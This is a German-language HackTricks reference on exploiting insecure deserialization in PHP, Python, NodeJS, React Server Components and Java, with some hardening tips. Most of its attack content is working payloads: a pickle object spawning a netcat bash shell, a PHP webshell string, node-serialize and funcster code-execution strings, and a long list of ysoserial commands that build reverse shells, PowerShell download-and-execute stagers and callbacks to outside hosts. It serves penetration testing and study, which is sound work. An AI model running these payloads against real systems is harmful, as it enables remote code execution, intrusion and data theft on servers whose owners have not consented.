Deserialisierung
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Serialisierung wird verstanden als die Methode, ein Objekt in ein Format zu konvertieren, das gespeichert werden kann, mit der Absicht, das Objekt entweder zu persistieren oder im Rahmen einer Kommunikation zu übertragen. Diese Technik wird häufig verwendet, um sicherzustellen, dass das Objekt zu einem späteren Zeitpunkt wiederhergestellt werden kann, wobei Struktur und Zustand erhalten bleiben.
Deserialisierung hingegen ist der Prozess, der die Serialisierung rückgängig macht. Er besteht darin, Daten, die in einem bestimmten Format strukturiert sind, wieder in ein Objekt zu rekonstruieren.
Deserialisierung kann gefährlich sein, da sie potenziell Angreifern erlaubt, die serialisierten Daten zu manipulieren, um schädlichen Code auszuführen oder während der Rekonstruktion des Objekts unerwartetes Verhalten in der Anwendung zu verursachen.
PHP
In PHP werden während der Serialisierungs- und Deserialisierungsprozesse bestimmte Magic-Methoden verwendet:
__sleep: Wird aufgerufen, wenn ein Objekt serialisiert wird. Diese Methode sollte ein Array mit den Namen aller Eigenschaften des Objekts zurückgeben, die serialisiert werden sollen. Sie wird häufig verwendet, um ausstehende Daten zu sichern oder ähnliche Aufräumarbeiten durchzuführen.__wakeup: Wird aufgerufen, wenn ein Objekt deserialisiert wird. Es dient dazu, ggf. während der Serialisierung verlorene Datenbankverbindungen wiederherzustellen und andere Reinitialisierungsaufgaben durchzuführen.__unserialize: Diese Methode wird beim Deserialisieren eines Objekts anstelle von__wakeup(falls vorhanden) aufgerufen. Sie bietet mehr Kontrolle über den Deserialisierungsprozess im Vergleich zu__wakeup.__destruct: Diese Methode wird aufgerufen, wenn ein Objekt kurz vor der Zerstörung steht oder wenn das Script endet. Sie wird typischerweise für Aufräumarbeiten verwendet, z. B. zum Schließen von File-Handles oder Datenbankverbindungen.__toString: Diese Methode erlaubt, ein Objekt als String zu behandeln. Sie kann verwendet werden, um eine Datei zu lesen oder andere Aufgaben basierend auf den darin aufgerufenen Funktionen auszuführen und stellt effektiv eine textuelle Repräsentation des Objekts bereit.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Wenn du dir die Ergebnisse ansiehst, siehst du, dass die Funktionen __wakeup und __destruct aufgerufen werden, wenn das Objekt deserialisiert wird. Beachte, dass in mehreren Tutorials angegeben wird, dass die Funktion __toString aufgerufen wird, wenn versucht wird, ein Attribut auszugeben, aber offenbar passiert das nicht mehr.
Warning
Die Methode
__unserialize(array $data)wird anstelle von__wakeup()aufgerufen, wenn sie in der Klasse implementiert ist. Sie ermöglicht es, das Objekt zu unserialisieren, indem die serialisierten Daten als Array übergeben werden. Du kannst diese Methode verwenden, um Eigenschaften zu unserialisieren und notwendige Aufgaben bei der Deserialisierung durchzuführen.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
Du kannst ein erklärtes PHP-Beispiel hier lesen: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hier https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf oder hier https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload-Klassen
Du könntest die PHP-autoload-Funktionalität missbrauchen, um beliebige PHP-Dateien und mehr zu laden:
PHP - Deserialization + Autoload Classes
Serialisierung referenzierter Werte
Wenn du aus irgendeinem Grund einen Wert als Referenz auf einen anderen serialisierten Wert serialisieren möchtest, kannst du:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Preventing PHP Object Injection with allowed_classes
[!INFO] Unterstützung für das zweite Argument von
unserialize()(dem$options-Array) wurde in PHP 7.0 hinzugefügt. In älteren Versionen akzeptiert die Funktion nur den serialisierten String, wodurch es unmöglich ist, einzuschränken, welche Klassen instanziiert werden dürfen.
unserialize() wird jede Klasse instanziieren, die es im serialisierten Stream findet, sofern nicht anders angegeben. Seit PHP 7 kann das Verhalten mit der Option allowed_classes eingeschränkt werden:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Wenn allowed_classes weggelassen wird oder der Code auf PHP < 7.0 ausgeführt wird, wird der Aufruf gefährlich, da ein Angreifer eine Payload erstellen kann, die magische Methoden wie __wakeup() oder __destruct() ausnutzt, um Remote Code Execution (RCE) zu erreichen.
Beispiel aus der Praxis: Everest Forms (WordPress) CVE-2025-52709
Das WordPress-Plugin Everest Forms ≤ 3.2.2 versuchte, mit einem Helper-Wrapper defensiv vorzugehen, hat jedoch die älteren PHP-Versionen außer Acht gelassen:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Auf Servern, die noch PHP ≤ 7.0 verwendeten, führte dieser zweite Zweig zu einer klassischen PHP Object Injection, wenn ein Administrator eine bösartige Formularübermittlung öffnete. Eine minimale exploit payload könnte wie folgt aussehen:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Sobald der Admin den Eintrag ansah, wurde das Objekt instanziiert und SomeClass::__destruct() ausgeführt, was zu arbitrary code execution führte.
Wichtigste Erkenntnisse
- Gib beim Aufruf von
unserialize()immer['allowed_classes' => false](oder eine strenge Whitelist) mit. - Überprüfe defensive Wrapper – diese vergessen oft die Legacy-PHP-Zweige.
- Ein Upgrade auf PHP ≥ 7.x allein ist nicht ausreichend: die Option muss weiterhin explizit übergeben werden.
PHPGGC (ysoserial for PHP)
PHPGGC kann dir helfen, Payloads zu erzeugen, um PHP deserializations auszunutzen.\
Beachte, dass du in mehreren Fällen keinen Weg finden wirst, eine deserialization im Quellcode der Anwendung auszunutzen, aber möglicherweise den Code externer PHP extensions ausnutzen kannst.\
Wenn möglich, prüfe die phpinfo() des Servers und suche im Internet (sogar in den gadgets von PHPGGC) nach möglichen gadgets, die du ausnutzen könntest.
phar:// metadata deserialization
Wenn du eine LFI gefunden hast, die die Datei nur liest und den PHP-Code darin nicht ausführt, zum Beispiel mit Funktionen wie file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Du kannst versuchen, eine deserialization auszunutzen, die beim Lesen einer Datei über das phar Protokoll auftritt.\ Für weitere Informationen lies den folgenden Beitrag:
Python
Pickle
Wenn das Objekt unpickled wird, wird die Funktion ___reduce___ ausgeführt.\ Bei Ausnutzung könnte der Server einen Fehler zurückgeben.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Bevor du die Bypass-Technik prüfst, versuche print(base64.b64encode(pickle.dumps(P(),2))) zu verwenden, um ein Objekt zu erzeugen, das mit python2 kompatibel ist, falls du python3 verwendest.
Für mehr Informationen zum Entkommen aus pickle jails siehe:
Yaml & jsonpickle
Die folgende Seite erklärt die Technik, um eine unsichere Deserialisierung in YAML-Python-Bibliotheken zu missbrauchen, und endet mit einem Tool, das verwendet werden kann, um RCE-Deserialisierungs-Payloads für Pickle, PyYAML, jsonpickle und ruamel.yaml zu erzeugen:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python’s Prototype Pollution)
NodeJS
JS Magic Functions
JS doesn’t have “magic” functions wie PHP oder Python, die allein beim Erstellen eines Objekts ausgeführt werden. Aber es gibt einige Funktionen, die häufig verwendet werden, selbst ohne sie direkt aufzurufen, wie toString, valueOf, toJSON.
Wenn man eine Deserialisierung missbraucht, kann man diese Funktionen kompromittieren, um anderen Code auszuführen (möglicherweise durch Ausnutzen von prototype pollutions) und so beliebigen Code ausführen, wenn sie aufgerufen werden.
Eine weitere “magische” Methode, eine Funktion aufzurufen ohne sie direkt aufzurufen, besteht darin, ein Objekt zu kompromittieren, das von einer async-Funktion zurückgegeben wird (promise). Denn wenn du dieses Rückgabeobjekt in eine andere promise verwandelst, die eine Property namens “then” vom Typ Funktion besitzt, wird diese ausgeführt, nur weil sie von einer anderen promise zurückgegeben wird. Folge diesem Link für mehr Infos.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
Wenn du diese Technik lernen willst, sieh dir das folgende Tutorial an:
NodeJS - proto & prototype Pollution
node-serialize
Diese Bibliothek ermöglicht das Serialisieren von Funktionen. Beispiel:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
Das serialised object sieht folgendermaßen aus:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.
Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.
.png)
.png)
Wie im letzten Codeabschnitt zu sehen ist, wird, wenn die Markierung gefunden wird, eval verwendet, um die Funktion zu deserialisieren — im Grunde heißt das, dass user input innerhalb der eval-Funktion verwendet wird.
Allerdings führt allein das Serialisieren einer Funktion nicht zu ihrer Ausführung, da in unserem Beispiel ein Teil des Codes y.rce aufrufen müsste, und das ist sehr unwahrscheinlich.
Man könnte jedoch einfach das serialisierte Objekt ändern, indem man einige Klammern hinzufügt, sodass die serialisierte Funktion beim Deserialisieren automatisch ausgeführt wird.
Im nächsten Codeabschnitt achte auf die letzte Klammer und darauf, wie die unserialize-Funktion den Code automatisch ausführt:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Wie bereits erwähnt, wird diese Bibliothek den Code nach _$$ND_FUNC$$_ erhalten und ihn mit eval ausführen. Daher kannst du, um Code automatisch auszuführen, den Teil, der die Funktion erstellt, und die letzte Klammer löschen und einfach einen JS oneliner ausführen, wie im folgenden Beispiel:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Sie können find here weitere Informationen darüber finden, wie diese Schwachstelle ausgenutzt werden kann.
funcster
Ein bemerkenswerter Aspekt von funcster ist die Unzugänglichkeit der Standard-eingebauten Objekte; sie liegen außerhalb des zugänglichen Bereichs. Diese Beschränkung verhindert die Ausführung von Code, der versucht, Methoden auf eingebauten Objekten aufzurufen, und führt zu Ausnahmen wie “ReferenceError: console is not defined”, wenn Befehle wie console.log() oder require(something) verwendet werden.
Trotz dieser Einschränkung ist die Wiederherstellung des vollständigen Zugriffs auf den globalen Kontext, einschließlich aller Standard-eingebauten Objekte, durch einen bestimmten Ansatz möglich. Durch direkten Zugriff auf den globalen Kontext kann man diese Beschränkung umgehen. Zum Beispiel kann der Zugriff mit folgendem Snippet wiederhergestellt werden:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Für weitere Informationen lesen Sie diese Quelle.
serialize-javascript
Das serialize-javascript-Paket ist ausschließlich für Serialisierungszwecke konzipiert und verfügt über keine eingebauten Deserialisierungsfunktionen. Die Benutzer sind dafür verantwortlich, ihre eigene Methode zur Deserialisierung zu implementieren. In dem offiziellen Beispiel zur Deserialisierung serialisierter Daten wird direkt die Verwendung von eval vorgeschlagen:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Wenn diese Funktion zum Deserialisieren von Objekten verwendet wird, können Sie sie leicht ausnutzen:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Für weitere Informationen lies diese Quelle.
Cryo library
Auf den folgenden Seiten findest du Informationen dazu, wie man diese library missbrauchen kann, um beliebige Befehle auszuführen:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
React Server Components (RSC) verlassen sich auf react-server-dom-webpack (RSDW), um server action submissions zu decodieren, die als multipart/form-data gesendet werden. Jede action submission enthält:
$ACTION_REF_<n>-Teile, die auf die aufgerufene action verweisen.$ACTION_<n>:<m>-Teile, deren Body JSON ist, z. B.{"id":"module-path#export","bound":[arg0,arg1,...]}.
In Version 19.2.0 vertraut der Helfer decodeAction(formData, serverManifest) blind sowohl dem id string (der auswählt, welchen module export aufzurufen) als auch dem bound array (den Argumenten). Wenn ein Angreifer den Endpoint erreichen kann, der Requests an decodeAction weiterleitet, kann er beliebige exportierte server actions mit vom Angreifer kontrollierten Parametern aufrufen, selbst ohne ein React-Frontend (CVE-2025-55182). Die End-to-End-Anleitung ist:
- Lerne den action-Identifikator. Bundle-Ausgabe, Fehlertraces oder leaked manifests geben typischerweise Strings wie
app/server-actions#generateReportpreis. - Rekonstruiere die multipart-Payload. Erstelle einen
$ACTION_REF_0-Teil und einen$ACTION_0:0-JSON-Body, der den Identifikator und beliebige Argumente enthält. - Lass
decodeActiones verarbeiten. Der Helfer löst das Modul aus demserverManifestauf, importiert den Export und gibt ein aufrufbares Objekt zurück, das der Server sofort ausführt.
Beispiel-Payload, die /formaction trifft:
POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
Oder mit curl:
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
Das bound-Array füllt direkt die server-action-Parameter. Im verwundbaren Labor sieht das gadget so aus:
const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);
async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}
Supplying format = "pdf & whoami" makes /bin/sh -c run the legitimate report generator and then whoami, with both outputs delivered inside the JSON action response. Any server action that wraps filesystem primitives, database drivers or other interpreters can be abused the same way once the attacker controls the bound data.
Ein Angreifer benötigt niemals einen echten React-Client—jedes HTTP-Tool, das die $ACTION_* multipart-Form erzeugt, kann Server-Aktionen direkt aufrufen und die resultierende JSON-Ausgabe in ein RCE-Primitive verkettet werden.
Java - HTTP
In Java, deserialization callbacks are executed during the process of deserialization. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige Payloads konstruieren, welche diese Callbacks auslösen und so potenziell schädliche Aktionen ausführen.
Fingerprints
White Box
To identify potential serialization vulnerabilities in the codebase search for:
- Classes that implement the
Serializableinterface. - Usage of
java.io.ObjectInputStream,readObject,readUnsharefunctions.
Pay extra attention to:
XMLDecoderutilized with parameters defined by external users.XStream’sfromXMLmethod, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.ObjectInputStreamcoupled with thereadObjectmethod.- Implementation of methods such as
readObject,readObjectNodData,readResolve, orreadExternal. ObjectInputStream.readUnshared.- General use of
Serializable.
Black Box
For black box testing, look for specific signatures or “Magic Bytes” that denote java serialized objects (originating from ObjectInputStream):
- Hexadecimal pattern:
AC ED 00 05. - Base64 pattern:
rO0. - HTTP response headers with
Content-typeset toapplication/x-java-serialized-object. - Hexadecimal pattern indicating prior compression:
1F 8B 08 00. - Base64 pattern indicating prior compression:
H4sIA. - Web files with the
.facesextension and thefaces.ViewStateparameter. Discovering these patterns in a web application should prompt an examination as detailed in the post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Auf Verwundbarkeit prüfen
Wenn du lernen möchtest, wie ein Java Deserialization-Exploit funktioniert, solltest du dir Basic Java Deserialization, Java DNS Deserialization, und CommonsCollection1 Payload ansehen.
SignedObject-gated deserialization und pre-auth-Erreichbarkeit
Moderne Codebasen kapseln Deserialization manchmal in java.security.SignedObject und validieren eine Signatur, bevor getObject() aufgerufen wird (welches das innere Objekt deserialisiert). Das verhindert beliebige top-level gadget classes, kann aber weiterhin ausnutzbar sein, wenn ein Angreifer eine gültige Signatur erlangen kann (z. B. Kompromittierung des privaten Schlüssels oder ein signing oracle). Zusätzlich können Fehlerbehandlungsflüsse session-bound tokens für nicht authentifizierte Benutzer minten und dadurch ansonsten geschützte sinks pre-auth exponieren.
Für eine konkrete Fallstudie mit Requests, IoCs und Härtungsempfehlungen siehe:
Java Signedobject Gated Deserialization
White Box Test
Du kannst prüfen, ob auf dem System eine Anwendung mit bekannten Schwachstellen installiert ist.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Du kannst versuchen, alle Bibliotheken zu überprüfen, die als verwundbar bekannt sind und für die Ysoserial ein Exploit liefern kann. Oder du kannst die Bibliotheken prüfen, die im Java-Deserialization-Cheat-Sheet angegeben sind.
Du kannst auch gadgetinspector verwenden, um nach möglichen gadget chains zu suchen, die ausgenutzt werden können.
Wenn du gadgetinspector ausführst (nachdem du es gebaut hast), ignoriere die zahlreichen Warnungen/Fehler und lass es durchlaufen. Es schreibt alle Funde unter gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Bitte beachte, dass gadgetinspector keinen Exploit erstellt und false positives anzeigen kann.
Black Box Test
Mit der Burp-Erweiterung gadgetprobe kannst du identifizieren, welche Bibliotheken verfügbar sind (und sogar die Versionen). Mit diesen Informationen kann es einfacher sein, eine passende payload auszuwählen, um die Verwundbarkeit auszunutzen.
Read this to learn more about GadgetProbe.
GadgetProbe konzentriert sich auf ObjectInputStream deserializations.
Mit der Burp-Erweiterung Java Deserialization Scanner kannst du verwundbare Bibliotheken identifizieren, die mit ysoserial ausnutzbar sind, und sie ausnutzen.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner konzentriert sich auf ObjectInputStream deserializations.
Du kannst auch Freddy verwenden, um Deserialisierungs-Vulnerabilities in Burp zu erkennen. Dieses Plugin erkennt nicht nur ObjectInputStream-bezogene Schwachstellen, sondern auch Schwachstellen in Json- und Yml-Deserialisierungsbibliotheken. Im aktiven Modus versucht es, diese mittels sleep- oder DNS-Payloads zu bestätigen.
You can find more information about Freddy here.
Serialization Test
Es geht nicht nur darum zu prüfen, ob der Server eine verwundbare Bibliothek verwendet. Manchmal kannst du die Daten innerhalb des serialisierten Objekts ändern und dadurch einige Prüfungen umgehen (vielleicht verschafft dir das Admin-Rechte in einer Webapp).
Wenn du ein Java-serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, kannst du SerializationDumper verwenden, um das gesendete serialisierte Objekt in einem besser lesbaren Format auszugeben. Wenn du weißt, welche Daten du sendest, ist es einfacher, sie zu ändern und Prüfungen zu umgehen.
Exploit
ysoserial
Das Haupttool zum Ausnutzen von Java-Deserialisierungen ist ysoserial (download here). Du kannst auch ysoseral-modified in Betracht ziehen, das dir erlaubt, komplexe Befehle zu verwenden (z. B. mit Pipes).
Beachte, dass dieses Tool fokussiert ist auf die Ausnutzung von ObjectInputStream.
Ich würde zuerst die “URLDNS” payload vor einer RCE-payload verwenden, um zu testen, ob die Injection möglich ist. Beachte aber, dass die “URLDNS”-payload eventuell nicht funktioniert, während eine andere RCE-payload funktionieren kann.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Beim Erstellen eines Payloads für java.lang.Runtime.exec() können Sie keine Sonderzeichen wie “>” oder “|” verwenden, um die Ausgabe einer Ausführung umzuleiten, “$()” um Befehle auszuführen, oder sogar Argumente an einen Befehl zu übergeben, die durch Leerzeichen getrennt sind (Sie können echo -n "hello world" verwenden, aber nicht python2 -c 'print "Hello world"'). Um das Payload korrekt zu kodieren, können Sie diese Webseite verwenden.
Verwenden Sie gerne das folgende Script, um alle möglichen code execution payloads für Windows und Linux zu erstellen und diese dann auf der verwundbaren Webseite zu testen:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Du kannst https://github.com/pwntester/SerialKillerBypassGadgetCollection zusammen mit ysoserial verwenden, um mehr exploits zu erstellen. Mehr Informationen über dieses Tool findest du in den Slides des Vortrags, in dem das Tool vorgestellt wurde: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec kann verwendet werden, um payloads zu generieren, die verschiedene Json- und Yml-Serialisierungsbibliotheken in Java exploitieren.
Um das Projekt zu kompilieren musste ich diese Abhängigkeiten zu pom.xml hinzufügen:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Installiere maven, und kompiliere das Projekt:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Weitere Informationen zu dieser Java-JSON-Bibliothek: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- Wenn du einige ysoserial payloads testen möchtest, kannst du diese Webapp ausführen: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Warum
Java verwendet häufig Serialisierung für verschiedene Zwecke, wie:
- HTTP requests: Serialisierung wird häufig zur Verwaltung von Parametern, ViewState, Cookies usw. eingesetzt.
